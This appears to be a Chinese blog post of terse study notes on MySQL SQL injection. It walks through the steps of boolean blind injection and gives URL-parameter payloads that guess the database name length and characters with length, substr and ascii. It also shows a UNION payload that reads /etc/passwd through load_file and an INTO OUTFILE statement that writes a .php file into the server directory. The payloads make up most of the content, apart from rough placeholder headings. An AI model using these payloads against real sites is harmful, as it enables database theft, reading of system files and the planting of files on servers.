mysql 盲注 读取文件 mysql 写入文件


提示:
table_schema = 库名称
table_name = 表名称
column_name = 字段名称

information.schcema库 下面有两个表
1,tables = 存放的是 所有的 库名 + 表名(通过where 库名来获取 所有的表)
2,columns = 存放的是 所有的列名 (通过where 表名来获取 所有的字段)


一、sssss

1.union

select * from user where id = 1 union select * from user where id = 2;

字段显示 是 以第一个查询为准

2.title

1111111111111

1.盲注的流程-

1.判断是否存在注入点
2.猜解当前数据库名称,注:需要先猜解数据库名称的长度+3.猜解数据库中的表名,注:需要先猜解数据表名称的长度
4.猜解表中的字段名,注:需要先猜解字段的数量,再猜解字段名称的长度e
5.猜解数据,注:需要先猜解数据的记录数,再对每条记录的长度和数据进行猜解

查询数据库长度 length(‘123’) // 3

?id=1' and length(database()) = 8 --+

查询数据库名称 substr(123,1,1) // 1

?id=1' and substr(database(),1,1) = 's' --+

通过 ascii 把字符 转成 ascii 数字 查询 ascii(‘s’) = 115 // true

?id=1' and  ascii(substr(database(),1,1)) = 115 --+

查一条语句的长度 length( ( select * from user limit 0,1) )

select length(( select table_name from information_schema.tables where table_schema = database() limit 0,1) )= 6;

查一条语句的z字段 substr( ( select * from user limit 0,1) )

select substr(( select table_name from information_schema.tables where table_schema = database() limit 0,1),1,1) = 'e';

mysql 读取文件

select * from users where id = -1 union select 1,2,load_file('/etc/passwd')\G;

google 吧\G去掉

mysql 写入文件

select '12345,aaaaa6'  into outfile "/var/lib/mysql/fei.php";
  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值